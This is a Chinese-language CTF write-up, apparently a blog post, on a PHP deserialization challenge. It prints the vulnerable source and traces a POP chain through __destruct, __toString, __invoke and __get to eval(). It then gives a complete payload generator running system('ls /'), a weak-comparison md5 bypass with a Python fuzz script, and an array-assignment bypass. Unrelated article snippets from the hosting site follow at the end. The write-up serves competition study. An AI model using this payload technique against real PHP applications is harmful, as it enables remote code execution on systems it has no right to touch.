第七届浙江省大学生网络与信息安全竞赛决赛Unserialize深度解析 1.0
花还会重新开,不同的春来了又来。
- 2025.4.11
0x01 声明
仅作为个人学习使用,仅供参考,欢迎交流
可能是新生赛缘故,突发奇想,想好好梳理此题,顺便写成参考,于是有了这篇文章
当然很多理解可能不够到位,还请见谅
此外,本人所有博客始终贯彻原创与开源原则,若访问文章显示付费,请及时私信
不排除平台会自动设置付费的可能,本人会第一时间关注并处理
0x02 源码
源码如下,只对传参逻辑进行少许修改其余保持不变,顺手写成dockerfile,开启容器
<?phpclass AAA
{public $aear;public $string;public function __construct($a){$this->aear = $a;}function __destruct(){echo $this->aear;}public function __toString() {$new = $this->string;return $new();}
}class BBB
{private $pop;public function __construct($string){$this->pop = $string;}public function __get($value){$var = $this->$value;$var[$value]();}
}class DDD
{public $bag;public $magazine;public function __toString() {$length = @$this->bag->add(); return $length; }public function __set($arg1, $arg2) {if ($this->magazine->tower) { echo "really??";}}
}class EEE
{public $d = array();public $e;public $f;public function __get($arg1){$this->d[$this->e] = 1; if ($this->d[] = 1) { echo 'nononononnnn!!!';} else {eval($this->f);}}
}class FFF
{protected $cookie;protected function delete(){return $this->cookie;}public function __call($func, $args) {echo 'hahahhhh';call_user_func([$this, $func . "haha"], $args);}
}class GGG
{public $green;public $book;public function __invoke(){if (md5(md5($this->book)) == 666) { return $this->green->pen;}}
}if (!isset($_POST['UP'])) {highlight_file(__FILE__);
} else {unserialize($_POST['UP']);
}?>
0x03 魔术方法
(下文会有讲解,此处作为参考)
0x04 构造POP链
AAA::__destruct() -> AAA::__toString() -> GGG::__invoke() -> EEE::__get()
0x05 分析过程
第一步
构造利用链的第一步是确定链尾,即能够触发远程代码执行(RCE)的代码点
eval($this->f),具备执行代码的能力,锁定链尾
-> EEE::__get()
第二步
我们需要考虑如何触发 EEE
类中的 __get()
魔术方法
魔术方法 __get() 触发条件
当你访问一个不存在或不可访问(private 或 protected)的属性时,触发魔术方法 __get()
例如
class Demo {public $a = "public";private $b = "private";protected $c = "protected";public function __get($name) {return "__get() 被触发了:你访问了 $name";}
}$Demo = new Demo();echo $Demo->a; // ✅ 直接输出 public
echo $Demo->b; // ❗触发 __get("b")
echo $Demo->c; // ❗触发 __get("c")
echo $Demo->d; // ❗触发 __get("d"),d 不存在
echo $Demo->$value; 如果触发 __get($value)后,
会将 __get($value)方法的返回值 作为 $Demo->$value 的返回值。
访问echo $Demo->b;↓
PHP发现:b 是私有属性,不能访问↓
于是自动调用 __get("b")↓__get() 返回 "__get() 被触发了:你访问了 b"↓
这个值就被当作 $Demo->b 的值返回了!
因此输出:
public // public属性
__get() 被触发了:b // private属性
__get() 被触发了:c // protected属性
__get() 被触发了:d // 不存在的属性
回归正题
了解触发条件后,我们发现
如果 $this->green 是 EEE类 的一个对象,
↓
由于 GGG类 中根本不存在 pen 属性,自然无法访问到 pen;
↓
那么 $this->green->pen; 就会触发 EEE::__get()
因此
-> GGG::__invoke() -> EEE::__get()
第三步
我们需要考虑如何触发 GGG
类中的 __invoke()
魔术方法
魔术方法 invoke() 触发条件
当对象被当作函数调用时,触发魔术方法 __invoke()
例如
class Demo {public function __invoke($name) {return "__invoke() 被触发了:你传入了 $name";}
}$Demo = new Demo();echo $Demo("Hello"); // ❗触发 __invoke("Hello")
$Demo("Hello")
↓
$Demo 是 Demo类的一个对象,$obj()即把对象当成函数调用
↓
PHP一看:你居然让对象执行函数调用动作
↓
调用 $Demo->__invoke("Hello");
↓
最终输出就是 __invoke() 的返回值,即 return "__invoke() 被触发了:你传入了 $name";
↓
此时 $name = "Hello"
回归正题
如果 $this->string是 GGG类 的一个对象
↓
$new = $this->string; 将 $new 赋值为 GGG 的对象;
↓
return $this->string();将$GGG的对象当做函数调用;
↓
触发 GGG::__invoke();
因此
-> AAA::__toString() -> GGG::__invoke() -> EEE::__get()
第四步
我们需要考虑如何触发 AAA
类中的 __toString()
魔术方法
魔术方法 __toString() 触发条件
当对一个对象执行 echo
、print
、字符串拼接
等操作,触发魔术方法 __toString()
例如
class Demo {public function __toString() {return "__toString() 被触发了!\n";}
}$Demo = new Demo();// 用 echo 输出对象
echo $Demo; // 用 print 输出对象
print $Demo; // 把对象拼接到字符串中
$text = "这是一个对象:$Demo";
echo $text;
输出
__toString() 被触发了! // 执行 echo 操作
__toString() 被触发了! // 执行 print 操作
这是一个对象:__toString() 被触发了! // 执行 字符串拼接
回归正题
如果 $this->aear 是AAA的一个对象
↓
echo $this->aear 触发 AAA的__toString()方法
↓
AAA::__toString()
因此
AAA::__destruct() -> AAA::__toString() -> GGG::__invoke() -> EEE::__get()
第五步
我们需要考虑如何触发 AAA
类中的 __destruct()
魔术方法
魔术方法 __destruct() 触发条件
析构函数会在 当某个对象的所有引用都被删除或者当对象被显式销毁时 执行。
换句话说,
只要你 new
创建一个对象,当它“不再使用”或“被清理掉”,PHP 就会自动帮你调用 __destruct()
做一些“结束前的收尾工作”。
例如
class Demo {public function __destruct() {echo "__destruct() 被触发了!\n";}
}$Demo = new Demo();
输出
__destruct() 被触发了!
回归正题,由于__destruct()
特殊的触发条件或者说根本不需要什么条件,我们的POP链也就构造成功了。
除此以外,还需要了解__construct()
触发方式
魔术方法 __construct() 触发条件
当你使用 new
创建一个对象时,PHP 会自动调用这个类的 __construct()
方法,触发条件非常简单直接
class Demo {public function __construct($name) {echo "你好,$name\n";}
}$Demo = new Demo("橙橙"); // 触发 __construct("橙橙")
输出
你好,橙橙
__construct() 可以有参数:
// 如果构造函数有参数 + 没有默认值,你不传入参数值就会报错class Demo {public function __construct($name) {echo "你好,$name\n";}
}$Demo = new Demo(); // ❌ 错误:缺少参数
$Demo = new Demo(1); // ✅ 成功,输出:你好,1// Fatal error: Uncaught ArgumentCountError: Too few arguments to function Demo::__construct(), 0 passed...
// 创建 Demo 类的对象时,没有传递构造函数需要的参数,但构造函数 (__construct) 没有默认值,导致 PHP 无法执行对象的初始化。
0x06 构造Payload
构造 Payload 需要本地PHP环境,请参考之前文章
https://blog.csdn.net/2301_80877061/article/details/144911396?spm=1001.2014.3001.5502
https://blog.csdn.net/2301_80877061/article/details/145059231?spm=1001.2014.3001.5502
或者自行查阅教程
根据POP链和以上分析,开始构造Payload
AAA::__destruct() -> AAA::__toString() -> GGG::__invoke() -> EEE::__get()
// POP链起点在AAA类,创建 AAA类对象
// 触发construct($a)要求传入参数 $a,赋值 1 给 aear,后续值能够覆盖$AAA = new AAA(1); // 触发 AAA::__destruct()
$AAA->aear=$AAA; // 触发 AAA::__toString(),覆盖 aear值
$AAA->string=new GGG(); // 触发 GGG::__invoke()$AAA->string->book=213; // 绕过点1
$AAA->string->green=new EEE(); // 触发 EEE::__get()$AAA->string->green->d=1; // 绕过点2
$AAA->string->green->f="system('ls /');"; // POP链尾,RCEecho serialize($AAA);
// echo urlencode(serialize($AAA));
Payload
<?phpclass AAA
{public $aear;public $string;// public function __construct($a)// {// $this->aear = $a;// }// function __destruct()// {// echo $this->aear;// }// public function __toString() // {// $new = $this->string;// return $new();// }
}class BBB
{private $pop;// public function __construct($string)// {// $this->pop = $string;// }// public function __get($value)// {// $var = $this->$value;// $var[$value]();// }
}class DDD
{public $bag;public $magazine;// public function __toString() // {// $length = @$this->bag->add(); // return $length; // }// public function __set($arg1, $arg2) // {// if ($this->magazine->tower) { // echo "really??";// }// }
}class EEE
{public $d = array();public $e;public $f;// public function __get($arg1)// {// $this->d[$this->e] = 1; // if ($this->d[] = 1) { // echo 'nononononnnn!!!';// } else {// eval($this->f);// }// }
}class FFF
{protected $cookie;// protected function delete()// {// return $this->cookie;// }// public function __call($func, $args) // {// echo 'hahahhhh';// call_user_func([$this, $func . "haha"], $args);// }
}class GGG
{public $green;public $book;// public function __invoke()// {// if (md5(md5($this->book)) == 666) { // return $this->green->pen;// }// }
}$AAA = new AAA(1);
$AAA->aear=$AAA;
$AAA->string=new GGG();$AAA->string->book=213;
$AAA->string->green=new EEE();$AAA->string->green->d=1;
$AAA->string->green->f="system('ls /');";echo serialize($AAA);
// echo urlencode(serialize($AAA));
?>
Hackbar 在执行表单提交时,不排除会对Payload进行二次编码的可能
所以Urlencode后我一般用Bp提交
绕过点1
$AAA->string->book=213; // 绕过点1
为什么 213 能够绕过呢,== 注意是PHP的弱类型比较
if (md5(md5($this->book)) == 666)
<?php
echo md5(213). "\n";
echo md5(md5(213));
?>// 979d472a84804b9f647bc185a877a8b5 字符串类型
// 666ca9a2be31fd949cb9b55686caef9a 字符串类型
PHP 进行 弱类型比较,在比较时尝试将 字符串 转换为数字,会从字符串的开头部分提取数字作为比较值
字符串是以数字开头,PHP 会将其转化为该数字,直到遇到非数字字符停止例如
'a' -> 0
'1a' -> 1
'123a' -> 123因此
'666ca9a2be31fd949cb9b55686caef9a' -> 666
'666ca9a2be31fd949cb9b55686caef9a' == 666 成立,true
Fuzz脚本:两次md5加密后,前三位为666且第四位为字母
import hashlibdef find_md5():i = 0res = []while len(res) < 5:# 原始输入orig = str(i)# 第一次md5加密fmd5 = hashlib.md5(orig.encode()).hexdigest()# 第二次md5加密smd5 = hashlib.md5(fmd5.encode()).hexdigest()# 检查是否符合条件:前三位是'666',第四位是字母if smd5[:3] == '666' and smd5[3].isalpha():res.append((orig, smd5))i += 1return res# 获取符合条件的五个实例及其原始输入
result = find_md5()# 打印结果
for orig, smd5 in result:print(f"原始输入: {orig}, 加密结果: {smd5}")
绕过点2
$AAA->string->green->d=1; // 绕过点2
public $d = array(); // $d 被声明为数组
$this->d[$this->e] = 1; // 将 $this->e 的值作为键,向 $this->d 数组中添加一个元素,值为 1
if ($this->d[] = 1){// code...
}// $this->d[] = 1 向数组的末尾赋值1并返回 1 -> if(1)为true -> 条件判断恒成立
举个例子
<?php$Demo = array(); // 定义一个空数组$a = '1';
$Demo[$a]=1;if ($Demo[] = 1) {echo "true\n"; // true,条件判断成立
}print_r($Demo) ?>
(可以发现,这里键名延续,若键名不为整数类型,则从0递增)这不是重点
重点是 if ($this->d[] = 1)
恒成立,应该怎么绕过呢?
覆盖 $d 的值,使其不为一个数组
从而导致 $this->d[] = 1 操作报错或不按预期执行,绕过恒成立的条件判断。例如:
$AAA->string->green->d = 1; // 数字
$AAA->string->green->d = '1'; // 字符串
$AAA->string->green->d = NULL; // NULL
$AAA->string->green->d = NAN; // 设置为 NaN
0x07 End
至此,反序列化的分析已全部结束
如有错误或者理解不够到位的地方,还请指正,感谢各位的耐心和支持!
相关文章:
第七届浙江省大学生网络与信息安全竞赛决赛Unserialize深度解析 1.0
花还会重新开,不同的春来了又来。 - 2025.4.11 0x01 声明 仅作为个人学习使用,仅供参考,欢迎交流 可能是新生赛缘故,突发奇想,想好好梳理此题,顺便写成参考,于是有了这篇文章 当然很多理解可…...
onlyoffice 在线编辑集成
onlyoffice 在线编辑集成 项目中要使用word在线编辑功能,记录一下过程 安装使用docker版本 docker run -itd -p 8001:80 --name kodoffice --restart always registry.cn-hangzhou.aliyuncs.com/kodcloud/kodoffice:7.4.1.1 启动后http://192.168.x.x:8001/web/…...
2.4goweb 项目1
mysql库和表 CREATE DATABASE IF NOT EXISTS book_manager CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;USE book_manager;-- 用户表(用于登录) CREATE TABLE IF NOT EXISTS users (user_id INT AUTO_INCREMENT PRIMARY KEY,username VARCHAR(…...
ESP-ADF外设子系统深度解析:esp_peripherals组件架构与核心设计(系列开篇)
目录 ESP-ADF外设子系统深度解析:esp_peripherals组件架构与核心设计(系列开篇)简介模块概述功能定义架构位置核心特性 接口分析公共API概述1. 外设集合管理API2. 单个外设管理API3. 事件通信API4. 定时器管理API 数据结构关键数据结构分析枚…...
供应链管理:供应链管理的边界
一、追根溯源,什么是真正的财富 序号财富解释1土地作为生产资料,土地是农业、工业、商业的基础 城市中心的土地因稀缺性而价值连城,农业土地的肥沃程度直接影响粮食产量。2资源、矿产提供能源和原材料,支撑工业生产和经济发展。 …...
【Linux网络编程】TCP Echo Server的实现
本文专栏:linux网络编程 本文的基础知识是基于上篇文章:UDP Echo Server的实现 传送门: 【Linux网络编程】UDP Echo Server的实现 -CSDN博客 目录 一,InetAddr类的编写 二,客户端代码编写 创建套接字(s…...
信奥赛CSP-J复赛集训(数学思维专题)(11):P9585 「MXOI Round 2」酒店
信奥赛CSP-J复赛集训(数学思维专题)(11):P9585 「MXOI Round 2」酒店 题目描述 小 C 开了一家酒店,叫做 CC Hotel。 一天,CC Hotel 来了 n n n 位客人。小 C 需要把他们都安排在酒店的某一层…...
python: audioFlux XXCC 提取梅尔频率倒谱系数 MFCC
承上一篇:python:audioFlux 使用教程 XXCC: 倒谱系数,支持所有频谱类型. 可以提取梅尔频率倒谱系数(MFCC) Cepstrum coefficients, supports all spectrum types. 以下是使用 audioflux 库中 XXCC 类计算倒谱系数…...
PHP + Go 如何协同打造高并发微服务?
为什么需要 PHP Go 协同? 在微服务架构中,PHP 和 Go 看似是“两个世界”的语言,但它们的互补性极强: PHP:开发效率高、生态成熟,适合快速实现复杂业务逻辑(如电商订单、用户系统)…...
k8s工具使用
Kubectl Cheat Sheet k8s的命令级别 1.基础命令(初级) 2.基础命令(中级) 3.部署命令 4.集群管理命令 5.故障排查和调试命令 6.高级命令 7.设置命令 8.其它命令 命令行提示 为了使用kubectl命令更加高效,我们可以选择安装一下开源软件来增加操作kubectl命令的快捷方式,同…...
uml制做参考-以代码画UML图
【PlantUML系列】类图(一)_plantuml skin-CSDN博客 UML入门以及Plant UML工具介绍_plantuml-CSDN博客 UML类图详解-CSDN博客 【PlantUML】-类图-CSDN博客 【掌握绘图艺术】用PlantUML绘制完美UML图表,编程开发者的福音 - 知乎 如何优化P…...
深入解析B站androidApp接口:从bilibili.api.ticket.v1.Ticket/GetTicket到SendMsg的技术分析
前言 最近一段时间,我对B站的App接口进行了深入分析,特别是关注了认证机制和私信功能的实现。通过逆向工程和网络抓包,发现了B站移动端API的底层工作原理,包括设备标识生成机制、认证流程和消息传输协议。本文将分享这些研究成果…...
[AI ][Dify] 构建一个自动化新闻编辑助手:Dify 工作流实战指南
在内容创作行业中,自动化辅助工具已成为提升编辑效率的重要利器。本文将通过 Dify 平台,演示如何构建一个**“新闻编辑助手”**,实现从网页抓取、文本翻译、标题生成,到新闻配图的全流程自动化。 🎯 目标概览 这个工作流旨在实现如下功能: 从指定网页抓取新闻内容; 使…...
Unity中国战略调整简讯:Unity6下架 团结引擎接棒
Unity中国战略调整简讯:Unity6下架 团结引擎接棒 免费版 2025年4月9日 —— Unity中国宣布自即日起,中国大陆及港澳地区停止提供Unity 6及后续版本下载与服务,相关功能由国产引擎“团结引擎”承接。国际版2022 LTS及更早版本仍由Unity中国维护…...
司美格鲁肽用SNAC市场报告:2024年全球市场销售额达到了0.14亿美元
引言:了解司美格鲁肽与SNAC的重要性 在当前的医药领域,司美格鲁肽(Semaglutide)作为一种创新性的治疗2型糖尿病和肥胖症的药物,受到了广泛关注。而SNAC(N-(8-(2-羟苯基)…...
自动驾驶第一性原理
所谓的第一性原理: 就是指从最基本的物理规律,数据逻辑及工程约束条件出发,剥离所有的非本质的假设,直接推导出自动驾驶最核心的要素。 自动驾驶核心框架分解: 1、根本目标: 安全高效的将人/物从A地运送…...
《UE5_C++多人TPS完整教程》学习笔记36 ——《P37 拾取组件(Pickup Widget)》
本文为B站系列教学视频 《UE5_C多人TPS完整教程》 —— 《P37 拾取组件(Pickup Widget)》 的学习笔记,该系列教学视频为计算机工程师、程序员、游戏开发者、作家(Engineer, Programmer, Game Developer, Author) Steph…...
Uniswap V2/V3/V4 流动性与价格计算详解
Uniswap V2/V3/V4 流动性与价格计算详解 一、核心概念对比 Uniswap V2 流动性模型: 恒定乘积公式 (x * y = k)价格决定: 完全由池子中的代币数量决定 (price = y/x)流动性衡量: 总储备量代表流动性,直接通过 getReserves() 获取流动性分布: 均匀分布在所有价格点交易费用: 固…...
yum安装MySQL数据库
yum安装方式 优点:操作简单易用。不用单独下载,服务器可以联网且yum源没有问题即可(可以选择国内的163/阿里源) 安装步骤: 1.关闭防火墙和selinux: systemctl stop firewalld ##关闭防火墙 systemctl disable firewalld …...
大联盟(特别版)双端互动平台完整套件分享:含多模块源码+本地部署环境
这是一套结构清晰、功能完整的互动平台组件,适合有开发经验的技术人员进行模块参考、结构研究或本地部署实验使用。 该平台覆盖前端展示、后端服务、移动端资源以及完整数据库,采用模块化架构,整体部署流程简单清晰,适合自研团队参…...
【Code】《代码整洁之道》笔记-Chapter15-JUnit内幕
第15章 JUnit内幕 JUnit是最有名的Java框架之一。就像别的框架一样,它概念简单,定义精确,实现优雅。但它的代码是怎样的呢?本章将研判来自JUnit框架的一个代码例子。 15.1 JUnit框架 JUnit有很多位作者,但它始于K…...
【Java八股】
JVM JVM中有哪些引用 在Java中,引用(Reference)是指向对象的一个变量。Java中的引用不仅仅有常规的直接引用,还有不同类型的引用,用于控制垃圾回收(GC)的行为和优化性能。JVM中有四种引用类型…...
深入探究AI编程能力:ChatGPT及其大规模模型的实现原理
📢 友情提示: 本文由银河易创AI(https://ai.eaigx.com)平台gpt-4-turbo模型辅助创作完成,旨在提供灵感参考与技术分享,文中关键数据、代码与结论建议通过官方渠道验证。 随着人工智能的快速发展,…...
高德地图 JS-SDK 实现教程
高德地图 JS-SDK 实现教程:定位、地图选点、地址解析等 适用地点选择、地址显示、表单填写等场景,全面支持移动端、手机浏览器和 PC端环境 一、创建应用&Key 前端(JS-SDK、地图组件) 登陆 高德开放平台创建应用,…...
【信息系统项目管理师】高分论文:论信息系统项目的整合管理(银行数据仓库项目)
更多内容请见: 备考信息系统项目管理师-专栏介绍和目录 文章目录 正文一、制定项目章程二、制定项目管理计划三、指导和管理项目的实施四、管理项目知识五、监控项目工作六、实施整体变更控制七、结束项目或阶段正文 2023年6月,我以项目经理的身份,参加了 xx银行xx省分行数…...
dev中使用auto的方法
在dev-c中使用新特性是一样的道理,在他启动编译器来编译代码的时候我们让他加上这个参数就行了,设置方法是:在Tools里面找到Compiler Options打开它,然后把那个Add the following commands when calling compiler:选上勾,在里面加…...
C 语言中经典的数据结构
在 C 语言中,经典的数据结构通常包括以下几种,每种都有其特定的应用场景和实现方式: 1. 数组(Array) 定义:连续内存空间存储相同类型的数据。 特点:随机访问快(O(1))&am…...
小白学习java第12天(下):网络编程
上面我们了解TCP就是三次握手!!! 下面我们就详细介绍一下UDP,就是进行发包(TCP协议类似于就是打电话,你必须进行连接才能进行传输,但是UDP类似于发消息,连不连接我都是可以的&#…...
论文精度:双分支图Transformer网络:视频驱动的3D人体网格重建新突破
论文地址:https://arxiv.org/pdf/2412.01179 目录 一、背景与问题定义 1.1 3D人体网格重建的意义 1.2 现有方法的困境 二、核心创新:DGTR网络架构 2.1 整体框架设计 2.2 全局运动感知分支(GMA) 2.3 局部细节优化分支(LDR) 2.3.1 局部信息聚合 2.3.2 调制图卷积…...
华三IRF堆叠技术
IRF(Intelligent Resilient Framework,智能弹性架构)是华三通信(H3C)自主研发的网络设备虚拟化技术,通过将多台物理设备整合为单一逻辑设备,实现统一管理、高可靠性和灵活扩展。以下是其核心要点…...
第一阶段补充知识
目录 书写脚本使用的相关知识? 备份和冗灾的区别?什么叫DD备份,什么叫DD冗灾? 关于Linux系统优化以及Linux的安全加固? 系统优化 硬件系统优化: 内核参数优化: 网络性能优化: 进程管…...
STM32 HAL库 L298N电机驱动模块实现
一、引言 在机器人、自动化设备等众多应用场景中,电机驱动是一个关键的部分。L298N 是一款常用的电机驱动模块,它可以驱动两个直流电机或一个步进电机。STM32F407 是一款高性能的 ARM Cortex-M4 内核微控制器,结合 HAL 库可以方便地实现对 L…...
Redis的Key的过期策略
我们都知道Redis的键值对是可以设置过期时间的,那么就会涉及到一个问题,Redis到底是如何做到响应快的同时有能快速地释放掉过期的键值对的呢?不卖关子了,直接说答案,那就是Redis两个策略:定期删除和惰性删除…...
ubuntu桌面版使用root账号进行登录
这里写自定义目录标题 第一步:给root账户设置密码,并切换至root账户第二步:注释gdm-autologin文件内的相关内容第三步:注释gdm-password文件内的相关内容第四步:重启系统即可使用root账户登录 第一步:给roo…...
贪心算法(18)(java)距离相等的条形码
在一个仓库里,有一排条形码,其中第 i 个条形码为 barcodes[i]。 请你重新排列这些条形码,使其中任意两个相邻的条形码不能相等。 你可以返回任何满足该要求的答案,此题保证存在答案。 示例 1: 输入:barco…...
CentOS服务器能ping通却无法yum install:指定镜像源解决
文章目录 前言一、问题记录二、解决过程1.修改DNS无效2.指定镜像源 总结 前言 今天有一个项目现场要在一个远程centos服务器上部署产品服务,发现能ping通百度,但是无法yum install 安装基础软件包,开始以为DNS服务器的问题,结果配…...
WebSocket与MQTT
在物联网(IoT)领域,WebSocket和MQTT确实都可以实现实时通信,但它们的核心设计目标、适用场景和角色存在显著差异。以下是两者的对比分析: 1. 协议设计初衷 WebSocket 目标:提供浏览器与服务器…...
【论文解读】MSVM-UNet: Multi-Scale Vision Mamba UNet for Medical Image Segmentation
MSVM-UNet: Multi-Scale Vision Mamba UNet for Medical Image Segmentation 论文链接: https://arxiv.org/abs/2408.13735 Code: https://github.com/gndlwch2w/msvm-unet 来源: 2024 IEEE International Conference on Bioinformatics an…...
Vue表单组件el-form校验规则rules,条件判断rules表单验证显示必填或非必填
在使用 Element UI(一个基于 Vue 的前端框架)的表单验证功能时,你可能想要实现一个规则,使得某些字段在特定条件下成为必填项,或者在满足某些条件时不允许为空。这通常通过自定义校验规则来实现。 <template>&l…...
手动关闭ArcGIS与ArcGIS Online连接的方法
【关闭软件启动时ArcGIS与ArcGIS Online连接方法】 打开C盘找到文件夹“C:\Program Files (x86)\Common Files\ArcGIS\bin”,如下图,删除“ArcGISConnection.exe”与“ArcGISConnectionTest.exe”文件,软件下次启动的时候就不会建立与ArcGIS …...
(二十五)安卓开发一个完整的登录页面-支持密码登录和手机验证码登录
下面将详细讲解如何在 Android 中开发一个完整的登录页面,支持密码登录和手机验证码登录。以下是实现过程的详细步骤,从布局设计到逻辑实现,再到用户体验优化,逐步展开。 1. 设计登录页面布局 首先,我们需要设计一个用…...
【过程控制系统】PID算式实现,控制系统分类,工程应用中控制系统应该注意的问题
目录 1-1 试简述过程控制的发展概况及各个阶段的主要特点。 1-2 与其它自动控制相比,过程控制有哪些优点?为什么说过程控制的控制过程多属慢过程? 1-3 什么是过程控制系统,其基本分类是什么? 1-4 何为集散控制系统…...
测试第三课-------自动化测试相关
作者前言 🎂 ✨✨✨✨✨✨🍧🍧🍧🍧🍧🍧🍧🎂 🎂 作者介绍: 🎂🎂 🎂 🎉🎉🎉…...
关于数据清洗和数据处理实践学习笔记
一些可能想要知道的: pandas是一个模板,它读取的数据都是dataframe的格式,即df Matplotlib是一个用于数据可视化的Python库,能够生成各种静态、动态和交互式图表 pyplot:Matplotlib 的核心接口模块,提供类…...
ubuntu学习day2
linux常用命令 3.文件查看及处理命令 3.1查看文件内容 cat[选项][文件] -b 对非空输出行编号 -E 在每行结束处显示$ -n 对输出的所有行编号 -s 不输出多行空行 标准输入、标准输出和标准错误 在 Linux 中,每个进程默认有三个文件描述符: 标准输入&…...
JavaScript `new Date()` 方法移动端 `兼容 ios`,ios环境new Date()返回NaN
在 iOS 环境下,new Date() 方法会返回 NaN,这通常是由于时间字符串的格式问题。iOS 的 Date 构造函数对时间字符串的格式要求比其他平台更严格。 原因:ios端不兼容“-”为连接符的时间。 解决办法: 替换时间格式 IOS 不支持某…...
考研408参考用书:计算机组成原理(唐朔飞)介绍,附pdf
我用夸克网盘分享了「《计算机组成原理》第2,3版 唐朔飞」, 链接:https://pan.quark.cn/s/6a87d10274a3 1. 书籍定位与适用对象 定位:计算机组成原理是计算机科学与技术、软件工程等专业的核心基础课程,涉及计算机硬件的底层工作原…...
案例-索引对于并发Insert性能优化测试
前言 最近因业务并发量上升,开发反馈对订单表Insert性能降低。应开发要求对涉及Insert的表进行分析并提供优化方案。 一般对Insert 影响基本都在索引,涉及表已按创建日期做了分区表,索引全部为普通索引未做分区索引。 优化建议ÿ…...
@Async 为什么要自定义线程池,使用默认线程池风险
为什么要自定义线程池而非使用默认线程池 使用Spring的Async注解时,如果不自定义线程池而使用默认线程池,可能会带来一些风险和问题。以下是主要原因: 默认线程池的风险 无限制的资源消耗 默认线程池使用SimpleAsyncTaskExecutor࿰…...
Spark-SQL简介与编程
1. Spark-SQL是什么 Spark SQL 是 Spark 用于结构化数据(structured data)处理的 Spark 模块。 Hadoop与Spark的对比 Hadoop的局限性 Hadoop无法处理结构化数据,导致一些项目无法推进。 例如,MySQL中的数据是结构化的,Hadoop无法直接处理。…...